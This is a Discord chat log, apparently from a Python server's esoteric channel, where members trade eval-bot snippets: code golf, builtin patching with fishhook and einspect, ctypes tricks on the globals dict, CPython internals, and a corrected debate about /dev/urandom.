@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 31 41 51
002 | 61
if it's not too small it's mostly fine
does 30+30 get optimized in the compiler?
!e
import dis
def foo():
return 30+30
dis.dis(foo)
@flint hollow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 2 0 RESUME 0
002 |
003 | 3 2 LOAD_CONST 1 (60)
004 | 4 RETURN_VALUE
yeah that's why it's 61 instead of 62
well
63 rather
!e
from einspect import view
for i in range(25, 75):
view(i).value += 1
print(30 + 30)
print(eval("30 + 30"))
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 61
002 | 63
!e
class Thing:
def __getattr__(self, attr):
return self
def __call__(self, *args, **kwargs):
return self
t = Thing()
t.hi().bye(54).foobar().blahblah.fourty_two.when_will_it_stop(None, AttributeError, float('inf'))
@fiery hare :warning: Your 3.11 eval job has completed with return code 0.
[No output]
that inspired me to make the following
#bot-commands message
It's things all the way down
I,=open(i:=0)
print(''.join(96<(r:=ord(c))<123and chr((ord('etim'[i:=-~i%4])-r)%26+97)or c for c in I))
``` any more improvements? (Currently 103c)
(Beaufort cipher, key is 'time', should only convert a-z and leave everything else unchanged)
I,=open(i:=0)
print(''.join([c,chr((ord('etim'[i:=-~i%4])-ord(c))%26+97)][96<ord(c)<123]for c in I))
does this work?
if that does then
I,=open(i:=0)
print(''.join([c,chr((ord('etim'[i:=-~i%4])-ord(c))%26+97)]['`'<c<'{']for c in I))
should work as well
do you have any test cases?
nope, you cant update i on non-characters
ah
Wait a sec
Input ```
abem lq zqa i rwnezace kwebin. lvulpij qo qesexo mmahllvg atgf llwi, ilpf lmau cltfac, pfa semkouvl raxxpr, ez abi tpptac au r exmcpq mzaev e, abir abi cffib ietlpr em g tbereu dpdynp pfa ietlpr er abi cffi ifrj. lmau styim lp wklpi e iut sfri wgpinpqtwgc.
Output ```
this is not a vigenere cipher. instead of simply shifting each time, with this cipher, the beaufort cipher, if the letter is n places after a, then the coded letter is n places before the letter in the code word. this makes it quite a lot more interesting.
I,=open(i:=0)
print(''.join('`'<c<'{'and chr((ord('etim'[i:=-~i%4])-ord(c))%26+97)or c for c in I))
This works though, 99
#ot2-never-nester’s-nightmare message
Who can do it?
i=0
print(''.join('`'<c<'{'and chr((ord('etim'[i:=-~i%4])-ord(c))%26+97)or c for c in input()))
should be 95
how do i get 1 using least types of characters possible, but not any numbers?
i figured out int(bool([[]])) == 1,
and also int()**int() == 1
int(True) is shorter
i'm also trying to get least types of characters
1 is a character :P
okay i'm really bad at writing
-~int()
though, those are all unique
does just True count :p
True is 1 is False
True == 1 is True
+True then
that's a good one
quite possibly the first time ive used the + prefix
i challange you make a random int generator from scratch
From scratch or with scratch
from*
int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
execute
I keep forgetting about /dev/urandom
ensnared@snare:~$ python3
Python 3.10.7 (main, Nov 24 2022, 19:45:47) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
436832122
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
3706499640
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
1785615260
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
2166639331
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
482751829
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
2261181272
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
4057145735
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
1821552199
>>> int.from_bytes(open("/dev/urandom", "rb").read(4), "little")
3649613110
damn
you can also use /dev/random if you want it to be slower but more random
Does snekbox support /dev/urandom?
!e
print(int.from_bytes(open("/dev/urandom", "rb").read(4), "little"))
@versed eagle :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | FileNotFoundError: [Errno 2] No such file or directory: '/dev/urandom'
can u explain what it do?
apparently not
sadly no :(
it reads from /dev/urandom
😔
and then converts that into an int
what is that?
!e
import os
print(os.urandom(5))
@languid hare :white_check_mark: Your 3.11 eval job has completed with return code 0.
b'\x92\xbd\xc0\xffD'
hmm
it's a file that exists on most unix based systems
when read from it returns random bytes, but unlike /dev/random, it won't wait to become more random before it returns from the read
so, after being read a few times, its results are less random, but faster
!e ```py
import os; print(os.listdir("/dev"))
@old socket :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | FileNotFoundError: [Errno 2] No such file or directory: '/dev'
aw
ic interesting
my guess would be imported from the posix module
since in the os module, they do from posix import *
(on systems that support it)
Alright
I see _PyOS_URandom in C
I guess this is it?
Python/bootstrap_hash.c line 513
return dev_urandom(buffer, size, raise);```
yep. it returns from /dev/urandom
But that still opens /dev/urandom
So why does os.urandom work but not open("/dev/urandom", ...)
good question. i have no clue
no /dev entirely
challenge accepted
1 min
random = lambda: 0.42
```you couldnt ever actually prove that this wasnt random if you didnt have the source :)
def get_random_number() -> int:
return 4 # guaranteed random, chosen by fair dice roll
you reminded me of the xkcd
class RandInt:
seed = 100
x = 0
def randint(self, lower, upper):
if upper < lower:
raise Exeception
for x in range(1_000):
self.seed <<= 3
self.seed %= 65521 + self.x
self.x += 1
self.x %= 530
self.seed += x << 1
self.seed += 1
self.seed %= 65521 + self.x
return int(lower + (self.seed / (65521 + self.x)) * (upper - lower))
randint = RandInt()
randint.seed = 4 # chosen by a fair dice roll
print(randint.randint(0, 100))
print(randint.randint(0, 100))
print(randint.randint(0, 100))```
works now :)
!e It's really not that hard -- you can just override __reduce__
import pickle
class C:__reduce__=lambda _:_
a = C()
b = pickle.dumps(a)
print(b)
@meager zinc :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 4, in <module>
003 | _pickle.PicklingError: __reduce__ must return a string or tuple
wonder if it might be permissions
with open
or /dev/random it self on who can open/access it
The filesystem barely has any files
you can look
!e ```py
import os
print(os.listdir('/'))
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
['usr', 'snekbox', 'lib64', 'lib', 'etc']
nothing from dev is mounted
!e
import os
print(os.listdir('/snekbox/'))
@lost pawn :white_check_mark: Your 3.11 eval job has completed with return code 0.
['requirements', 'config', 'user_base']
!e
import os
print(os.listdir('/snekbox/user_base'))
@lost pawn :white_check_mark: Your 3.11 eval job has completed with return code 0.
['share', 'lib', 'bin']
, was there an exact reason to not?
neither /dev/ or /proc/ are there
which is sad since you can do some cool stuff with them
Yeah would be nice
My guess is there was something malicious you could do with them
or maybe they just didn't want to take any chances
Does windows have a /dev/(u)random equivalent?
Sort of..? It's not a file but rather a system call I believe.
*Library function not syscall
Yeah but you have to get it from:
ADVAPI32 = ctypes.WinDLL('advapi32')
And the call would be something like:
ADVAPI32.CryptGenRandom(hCryptProv, num_bytes, buffer)
!e ```py
import os
print(os.listdir('/snekbox/user_base/bin'))
@split salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
['fonttools', 'f2py3', 'isympy', 'pyftsubset', 'pyftmerge', 'f2py3.11', 'ttx', 'f2py']
/dev/urandom is not less random than /dev/random
My collection of things I've learned.
at any rate, you should always use /dev/urandom
idk what's up with the awful formatting, https://web.archive.org/web/20210212001001/https://www.2uo.de/myths-about-urandom/ for the older, better formatting
The most-recommended explanation about Linux random number generation, the differences between /dev/random and /dev/urandom, and practical advice for several Linux versions
@rough mulch pinging you as well cuz you asked about it
done :P bot#2415
!tipy print()
@arctic skiff :white_check_mark: Your 3.11 timeit job has completed with return code 0.
1000000 loops, best of 5: 241 nsec per loop
it works!
/dev/urandom reuses stuff to create more pseudorandom values making it, from a pure mathematical standpoint, more predictable
/dev/random blocks instead of doing this
the main use-case of /dev/random is for when the system is booting
(from man 4 random)
When read during early boot time, /dev/urandom may return data prior to the entropy pool being initialized. If this is of concern in your application, use getrandom(2) or /dev/random instead.
i.e. There isn't currently a problem with using /dev/urandom for cryptographic applications, but there could possibly be a theoretical attack that abuses its entropy reuse, and therefore if you're worried about that, use /dev/random
(Of course the tradeoff is you no longer have a non-blocking stream of random data, and that might be a non-starter for certain applications)
(although i'm not actually sure whether different platforms implement them the same way)
Ok, I have a repl question, is there a way to change what happens when a bare value is put on the command line?
So if I do
>>> import sys
>>> sys.ps1
'>>> '
Is there a way to customize what that does?
you can change the __repr__ of the object
The endgoal is to be able to do something like....
>>> exit
and it will exit the python interpreter, in addition to other commands
This will work.
Thanks. But it complains about the repr returning a non-string
quit gives infinite recursion
wdym
Success from failure
import os
import sys
from colorama import *
global header
header = f"Python {sys.version} on {sys.platform}"
sys.ps1 = f"{Fore.GREEN}[{sys.version.split()[0]}]>{Fore.RESET} "
sys.ps2 = lambda: f"{Fore.CYAN}{sys.ps2}{Fore.RESET}"
class EXITER:
def __init__(self):
pass
def __repr__(self):
return f"{quit()}"
def __call__(self):
return f"{quit()}"
class CLEARER:
def __init__(self):
pass
def __repr__(self):
return self()
def __call__(self):
os.system("cls")
return header
quit = EXITER()
exit = EXITER()
clear = CLEARER()
try:
exec(open("~/.pythonrc").read(), globals())
except:
pass
print(header)
Python 3.11.0 (main, Oct 24 2022, 18:26:48) [MSC v.1933 64 bit (AMD64)] on win32
[3.11.0]> exit
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 15, in __repr__
File "<string>", line 17, in __call__
File "<string>", line 17, in __call__
File "<string>", line 17, in __call__
[Previous line repeated 495 more times]
RecursionError: maximum recursion depth exceeded while calling a Python object
[3.11.0]>
well yeah you're calling quit
ofc is going to recurse
quit is itself
in the call method, it's calling itself
fixed it
import os
import sys
from colorama import *
global header
header = f"Python {sys.version} on {sys.platform}"
sys.ps1 = f"{Fore.GREEN}[{sys.version.split()[0]}]>{Fore.RESET} "
sys.ps2 = lambda: f"{Fore.CYAN}{sys.ps2}{Fore.RESET}"
sys_exit = quit
class EXITER:
def __init__(self):
pass
def __repr__(self):
return f"{sys_exit()}"
def __call__(self):
return f"{sys_exit()}"
class CLEARER:
def __init__(self):
pass
def __repr__(self):
return self()
def __call__(self):
os.system("cls")
return header
quit = EXITER()
exit = EXITER()
clear = CLEARER()
try:
exec(open("~/.pythonrc").read(), globals())
except:
pass
print(header)
or, as this is esoteric, use libc
or libc++
or msvcrt
GOT IT!
os._exit is posix._exit, which is a wrapper to the system call _exit
which is what libc wraps
with their exit
Now, I wonder if I can scan the path and use python as a shell?
os.system
!e ```py
import os, posix
assert posix._exit is os._exit or posix._exit == os._exit
@meager zinc :warning: Your 3.11 eval job has completed with return code 0.
[No output]
yes. that's how I clear the screen
in the os module they do from posix import *
Oh that makes sense
on posix systems, that is
Or from msvcrt import *?
for msvtrc they wrap the functions so that they have the same names
nevermind they import nt
as the posix ones
Lib/os.py line 83
import nt```
Wait... it's possible to have both !?
if you have the posix and nt modules in the builtins it will import both
i don't think so?
since windows isn't posix compliant
the posix module would just. not work
wouldn't even compile
you could probably make some messed up windows that supported both technically
but it would be a waste of time
+1 is const folded
!e ```py
from fishhook import hook_cls
@hook_cls(int)
class hook:
def pos(self):
return 1
print(+int())
hooking object would hook things that don't reimplement the method
oh yeah it's probably reimplmented
if they provide a new implementation it wouldn't hook it
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
1
Yeah there we go
hmm
you might be able to do it dynamically somehow
e.g. override on use
or you could use trippy bytecode hacks
to override every __pos__ bytecode call
you can override type to enforce it on new classes that're created
well
you aren't going to be able to stop someone entirely
from using the original __pos__
if they really want to
!e ```py
from fishhook import hook_cls, hook
@hook_cls(object)
class obj:
def cls(cls):
@hook(cls)
def pos(self):
return 1
return cls
print(+int())
@meager zinc :white_check_mark: Your 3.11 eval job has completed with return code 0.
0
darn
How? (if it isn't a builtins class)
thought it was worth a try
.
you can hook class creation
No I mean't how would you even get the original method if it isn't a builtins
Like a user type
Should I bytecode hack?
ah
Inb4 something stack or ctypes shit
Strangely, it is possible to overwrite the entire stack and the bytecode.
But it's a dark art - not for the faint of heart.
lol
well, theoretically (but it'd be basically impossible in practice, since it'd be down to guessing), you can find the location in memory where the old function resides
and replace the pointer to the new func with the old one
it'd be not that hard if you know what the original function was
Well you can replace every BIN_OP call corresponding to UNARY_PLUS with LOAD_CONST 1
Or replace it with a function call / lambda returning 1
actually, if you know what the original function was then you can just construct a new identical one
Is there anyway to get barry_FLULF to work without compiling it as a string
barry_FLULF.py:
exec(compile("from __future__ import barry_as_FLULF"))
then import as normal?
it's pretty much cheating though
oh ye its from future
!e ```py
exec(compile("from future import barry_as_FLULF"))
0 <> 1
@old socket :x: Your 3.11 eval job has completed with return code 1.
001 | File "<string>", line 2
002 | 0 <> 1
003 | ^^
004 | SyntaxError: invalid syntax
darn
the syntax is evaluated before the import runs
it's FLUFL not FLULF
i'm pretty sure
What I meant was, can I set it up so that if you type ```python
ls -lA /etc/
in the python interpreter, it will run ls with those arguments
if you hook the globals dict and drop the second /, then yes
instead of ls -lA /etc/, use ls -lA /etc
will do the same thing
and then, hook the globals module, str.__add__, and str.__truediv__
while you're at it might as well hook str.__floordiv__ as well, since // is replaced with / in paths (unless it's by itself)
there's getrandom for that
yeah i know
.
i said that
right here
in that message
i mean its getting fed into a csprng anyways
so
both are effectively the same
/dev/urandom doesn't feed csprng values back into itself
/dev/urandom can return before cprng has been initialised
but that only applies to startup
All you need to do is set the appropriate bit for flags= in compile() - __future__.CO_FUTURE_BARRY_AS_BDFL == 0x40_0000.
I meant getting the actual changes to run in a python file without compiling (compile) with the flag imported already
But this was the issue
Yeah you can't do it another way, __future__ imports are very special syntax checked before other things are.
!e
ₙ=0;ₙ=1.jif{ₙ:~(ₙ)}else{};print(ₙ);
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <string>:1: SyntaxWarning: invalid imaginary literal
002 | 1j
!e
print(0.jif{ₙ:=1}else{ₙ:~ₙ})
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <string>:1: SyntaxWarning: invalid imaginary literal
002 | 0j
periods in a row list
.1 # float
a.b # attribute
1..__doc__ # float attribute
... # ellipsis
....__doc__ # ellipsis attribute
f"{...:.....}" # ellipsis format specifier (can be any length)
!e
print(0.jif.1jis.2jor.3jelse.5jin{not.4jfor _ in{5.jand.6j}})
@orchid nymph :white_check_mark: Your 3.10 eval job has completed with return code 0.
001 | <string>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
002 | 0j
!e
print(0.jif.1jis.2jor.3jelse.4jin{not.5jfor(j)in{6.jand.7j}})
@orchid nymph :white_check_mark: Your 3.10 eval job has completed with return code 0.
001 | <string>:1: SyntaxWarning: "is" with a literal. Did you mean "=="?
002 | 0j
can any1 give me some ctypes hackery stuff to make
>>> hell + o
hello``` work
!e
from ctypes import *
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(hel + lo)
@versed eagle :white_check_mark: Your 3.11 eval job has completed with return code 0.
hello
ty
!e
from fishhook import hook
from ctypes import *
@hook(str)
def __matmul__(self, other):
return self + "@" + other
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(me@gmail.com)```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 21, in <module>
003 | AttributeError: 'str' object has no attribute 'com'
!e
from fishhook import hook
from ctypes import *
@hook(str)
def __matmul__(self, other):
return self + "@" + other
@hook(str)
@property
def com(self):
return "com"
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(me@gmail.com)```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 8, in <module>
003 | File "/snekbox/user_base/lib/python3.11/site-packages/fishhook/fishhook.py", line 303, in wrapper
004 | code = func.__code__
005 | ^^^^^^^^^^^^^
006 | AttributeError: 'property' object has no attribute '__code__'. Did you mean: '__doc__'?
!e
from fishhook import hook
from ctypes import *
@hook(str)
def __matmul__(self, other):
return self + "@" + other
@property
@hook(str)
def com(self):
return "com"
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(me@gmail.com)```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 25, in <module>
003 | File "<string>", line 6, in __matmul__
004 | TypeError: can only concatenate str (not "method") to str
!e
from fishhook import hook
from ctypes import *
@hook(str)
def __matmul__(self, other):
return self + "@" + other
@property
@hook(str)
def com(self):
return self + "com"
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(me@(gmail.com))```
@unique heath :x: Your 3.11 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 25, in <module>
003 | File "<string>", line 6, in __matmul__
004 | TypeError: can only concatenate str (not "method") to str
!py
from fishhook import hook
@property
@hook(str)
def com(self):
return "com"
print("test".com)```
!e
from fishhook import hook
@property
@hook(str)
def com(self):
return "com"
print("test".com)```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
<bound method com of 'test'>
oh
!py
from fishhook import hook
@property
@hook(str)
def com(self):
return "com"
print("test".com())```
!e
from fishhook import hook
@property
@hook(str)
def com(self):
return "com"
print("test".com())```
@unique heath :white_check_mark: Your 3.11 eval job has completed with return code 0.
com
sad
this is why einspect is superior
to be fair to fishhook. it's not being used entirely correctly here
!e
from einspect import impl
@impl(int)
@property
def foo(self):
return '1'
print(1 .foo)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
1
but yeah, einspect is more capable at doing more things
let's go I einspected first try
yay!
ionite must be proud of me
!e
from fishhook import hook
from types import FunctionType
@hook(FunctionType)
def __str__(self):
return "com"
def foo():0
print(foo)
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
com
🙂
!e
from fishhook import hook
from ctypes import *
from types import MethodType
@hook(str)
def __matmul__(self, other):
return self + "@" + str(other)
@hook(str)
def com(self):0
@hook(MethodType)
def __str__(self):
return "com"
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(mestr@gmail.com)
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
mestr@com
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
mestr@gmailcom
!e
from fishhook import hook
from ctypes import *
@hook(str)
def __matmul__(self, other):
return self + "@" + other
@hook(str)
def __getattribute__(self, attr):
return self + "." + attr
class _(dict):
__slots__ = ()
def __getitem__(s,i):
d_gi = {}.__class__.__getitem__
try:
return d_gi(s,i)
except:
try:
return d_gi(s,"__builtins__").__getattribute__(i)
except:
return i
py_object.from_address(id(globals()) + 8).value = _
print(mestr@gmail.com)
@orchid nymph :white_check_mark: Your 3.11 eval job has completed with return code 0.
mestr@gmail.com
Become unforgivable.
O dang that was from days ago, sorry about that for some reason it was highlighted
einspect will break with every major version of python without major work to update it because it uses structs that are not part of the stable api, fishhook will work automatically because it uses math to allow it to calculate structure information at runtime. (That's how it currently supports 3.8->3.12alpha and only needed 1 line of code for 3.11+ support)
Fishhook provides hook.property for adding properly wrapped properties with dispatch support
no prob lol
yeah it is a lot more work for just hooking functions, I mainly just added that since it's pretty much free after all the struct frameworks are there
could it not check property objects within @hook itself? or is that ambiguous
I could, but the I wanted to separate the logic because internally python separates the logic for descriptors
I also wanted to keep everything separate so it is clear what fishhook is doing with a given hook hook(cls) for functions, hook.property(cls) for descriptors and hook.cls(cls) for batch hooks
aren't they both just in the slot pointer location?
for builtin classes, descriptors are in a separate array when you define them in C
I also did hook.property separate to make it easier for users to differentiate between func and property hooks since the method for calling into the orig chain is a bit different
and the way is is right now, property hooks defined with hook.property can define setters, getters and deleters automatically
!e ```py
from fishhook import hook, orig
@hook.property(int)
def imag(self):
print('getting int.imag')
return orig.imag
@imag.setter
def imag(self, other):
print('trying to set int.imag', other)
@imag.deleter
def imag(self):
print('trying to delete int.imag')
print((1).imag)
(1).imag = 2
del (1).imag``` @dry mirage hook.property enables this kind of descriptor hooks
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | getting int.imag
002 | 0
003 | trying to set int.imag 2
004 | trying to delete int.imag
hm, do those still work as setters and properties though?
if they were actually in a class with @hook_cls or something
hook_cls passes any properties it finds into the hook_property class
!e ```py
from fishhook import *
@hook.cls(int)
class int_hooks:
@property
def imag(self):
print('getting int.imag')
return orig.imag
@imag.setter
def imag(self, other):
print('trying to set int.imag', other)
@imag.deleter
def imag(self):
print('trying to delete int.imag')
print((1).imag)
(1).imag = 2
del (1).imag``` it makes this more parallel to the hooks without hook.cls
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | getting int.imag
002 | 0
003 | trying to set int.imag 2
004 | trying to delete int.imag
though, if hook supported properties wouldn't this just work without overrides
!e since it's just
from einspect import impl
@impl(str)
@property
def abc(self):
print("in abc")
@impl(str)
@abc.setter
def abc(self, value):
print("in abc setter")
@impl(str)
@abc.deleter
def abc(self):
print("in abc deleter")
"".abc
"".abc = 1
del "".abc
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | in abc
002 | in abc setter
003 | in abc deleter
the way its done right now makes my orig strategy easier to implement, and also avoids multiple levels of decorators but yea that would work
hm, I wonder what happens if property nests something else that's not a function
like it uses a different callable instead of a function?
or is that deprecated in 3.11?
they dropped support for property + classmethod or something iirc
oh yea they did remove the automatic nesting
i use py class classproperty(property): def __get__(self, owner_self, owner_cls): return self.fget(owner_cls) for hook.var
!e ```py
class classproperty(property):
def get(self, owner_self, owner_cls):
return self.fget(owner_cls)
class A:
@classproperty
def value(arg):
return arg
print(A.value)
print(A().value)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <class '__main__.A'>
002 | <class '__main__.A'>
huh interesting
though I guess setter and deleter don't work there?
I remember those were more complicated
lemme check
!e 😔
class classproperty(property):
def __get__(self, owner_self, owner_cls):
return self.fget(owner_cls)
class A:
@classproperty
def __name__(cls):
return "?"
print(A.__name__)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
A
yea those won't work for dynamic class variables like that (but you could use a metaclass to do it)
does declaring __name__ not error? weird
hmm id kinda expect it to error, weird
!e
class A:
__name__ = "B"
print(A.__name__)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
A
!zen 9
Errors should never pass silently.
😔
!e ```py
class A:
name = 'B'
print(A.name)
print(A().name)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | A
002 | B
wtf
so it's actually a class attribute?
just that A.__name__ special cases to avoid it?
there are probably a few special cased things like that
where is __name__ even overriden
!e ```py
class A:
dict = 'abc'
print(A.dict)
print(A().dict)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | {'__module__': '__main__', '__dict__': 'abc', '__weakref__': <attribute '__weakref__' of 'A' objects>, '__doc__': None}
002 | abc
does it call into any python thing
or is it straight to PyType(obj)->tp_name
wonder if you can override cls.__name__ to be random on call or some cursed thing
cls.__name__ is a descriptor, it calls type_name which coerces tp_name into a string unless it is cached then it just returns the cached string
yeah pretty sure it uses the type.__name__ descriptor
Objects/typeobject.c lines 638 to 649
static PyObject *
type_name(PyTypeObject *type, void *context)
{
if (type->tp_flags & Py_TPFLAGS_HEAPTYPE) {
PyHeapTypeObject* et = (PyHeapTypeObject*)type;
return Py_NewRef(et->ht_name);
}
else {
return PyUnicode_FromString(_PyType_Name(type));
}
}```
does cls.__name__ at least hit type.__getattribute__?
@dry mirage stuff like that is the reason why its dangerous to fishhook.unlock classes and leave them unlocked in versions before the immutable type flag
wait I don't understand, why the first case here
what's different from tp_names of heap types?
heaptypes cache the string name they are passed in
so python doesnt need to realloc it
its faster to just store the pointer on the heap type struct
oh..
wat
why only for heap types?
aren't name access of static types more common?
static types cannot contain PyObjects at interpreter startup, and if you ended up getting the name of an uninitialized static type before str was initialized weird recursive errors could pop up (my best guess)
better to delay it
All of those are allocated and set during interpreter startup
Their construction can't depend on each other beyond the obvious required parts
doesn't PyObject already have a circular dependency on PyTypeObject
Oh also static type names are all interned so there isn't any reason to cache them again
Yea at least it should
!e
from fishhook import hook, orig
@hook(type)
def __getattribute__(self, name):
print(self, name)
return orig(self, name)
class Foo:
pass
print(Foo.__name__)
@dry mirage :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <class 'type'> __flags__
002 | <class 'fishhook.fishhook.c_char_Array_408'> from_address
003 | <class 'type'> __prepare__
004 | <class '__main__.Foo'> __name__
005 | Foo
006 | <class '_io._RawIOBase'> close
class A:
__name__ = "B"
def __init__(self):
self.__name__ = "C"
Can we still get "B" here?
thats wack i wonder when i fixed that bug, fishhook couldnt do that hook for a while
!e ```py
class A:
name = "B"
def init(self):
self.name = "C"
print(vars(A)['name'])```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
B
!e ```py
from fishhook import hook, orig
class Foo:
pass
@hook(type)
def getattribute(self, name):
print(self, name)
return orig(self, name)
print(Foo.name)```
@rugged sparrow :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <class 'type'> __flags__
002 | <class 'fishhook.fishhook.c_char_Array_408'> from_address
003 | <class '__main__.Foo'> __name__
004 | Foo
005 | <class '_io._RawIOBase'> close
!e hm
from einspect import impl, orig
@impl(type)
def __getattribute__(self, name):
print(self, name)
return orig(type).__getattribute__(self, name)
@dry mirage :x: Your 3.11 eval job has completed with return code 143 (SIGTERM).
001 | Traceback (most recent call last):
002 | File "<string>", line 3, in <module>
003 | File "/snekbox/user_base/lib/python3.11/site-packages/einspect/views/view_type.py", line 162, in wrapper
004 | <class 'codecs.IncrementalDecoder'> __init__
005 | <class 'einspect.type_orig.orig'> __new__
006 | <class 'einspect.type_orig.orig'> __new__
007 | <class 'einspect.type_orig.orig'> __new__
008 | <class 'einspect.type_orig.orig'> __new__
009 | <class 'einspect.type_orig.orig'> __new__
010 | <class 'einspect.type_orig.orig'> __new__
011 | <class 'einspect.type_orig.orig'> __new__
... (truncated - too many lines)
Full output: too long to upload
something ends up in a loop
yea for a long time fishhook had that issue
I assume that when I changed my hook strategy it fixed it by accident
yeah I already had to switch a few Class() calls to https://github.com/ionite34/einspect/blob/main/src/einspect/type_orig.py#L51-L53
src/einspect/type_orig.py lines 51 to 53
tp_new = PyTypeObject.from_object(type_).tp_new
method = obj_tp_new(TypeNewWrapper, (), {})
method.__init__(tp_new, type_)```
mine is a class too tho, it should get stuck trying to lookup orig.__call__
maybe that is cached in 3.11 now?
!e 3.10 ```py
from fishhook import hook, orig
class Foo:
pass
@hook(type)
def getattribute(self, name):
print(self, name)
return orig(self, name)
print(Foo.name)
@rugged sparrow :x: Your 3.10 eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | ModuleNotFoundError: No module named 'fishhook'
welp can't test on the bot
it worked on 3.10
wait what
I got
<unknown>.RecursionError: maximum recursion depth exceeded while calling a Python object
on 3.10.8 with fishhook
oh I needed to update
!pypi fishhook
looks like print(Foo) doesn't hit the hooked getattribute though
it pulls __qualname__ i think?
But I don't think it uses type getattribute in the repr
Who help me with free course for python
you're in the wrong channel.
Why
!rule 7
7. Keep discussions relevant to the channel topic. Each channel's description tells you the topic.
!e
deck = ["Card D", "Card A", "Card C", "Card A", "Card D", "Card 1"]
print("\n".join([f"The chance of drawing card {d[0]} is {str(int(d[1])/len(deck) * 100)[:6]}%" for d in [None if deck[i] == s else (s, str(len(list(reversed(sorted(deck)))[list(reversed(sorted(deck))).index(s):len(deck) - 1 - sorted(deck).index(s)]) + 1)) for i,s in enumerate(sorted(iter(deck)))] if d is not None]))
@unreal knoll :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | The chance of drawing card Card 1 is 16.666%
002 | The chance of drawing card Card A is 33.333%
003 | The chance of drawing card Card C is 16.666%
004 | The chance of drawing card Card D is 33.333%
if you need a oneliner, I believe
[e for e in ls if x>0],[e for e in ls if x<=0]
```is shortest generally
they want it to be a function
ye, two iterations will mostly be shorter
no, i mean. they want it to be able to use an arbitrary function to filter the list
the >0 was an example
(lambda f: [e for e in ls if f(x)],[e for e in ls if not f(x)])(lambda x: x>0)
hm
_=lambda f,i:(c:=list(filter(f,i))),[o for o in i if o not in c]
neither ls nor x are ever defined here
ah, you wanted to golf that function specifically, not include the logic in another golf
at least thats what im pretty sure they meant
i could just be understanding this entirely wrong
but they said they wanted a filter function
so i assume they want it to be callable in the same way that filter is?
lambda f, l: (o:=[[],[]],[o[f(x)].append(x) for x in l])[0]
(untested)
ooh that's a good one
ah, clever
does this work?
>>> f2=lambda f, l: (o:=[[],[]],[o[f(x)].append(x) for x in l])[0]
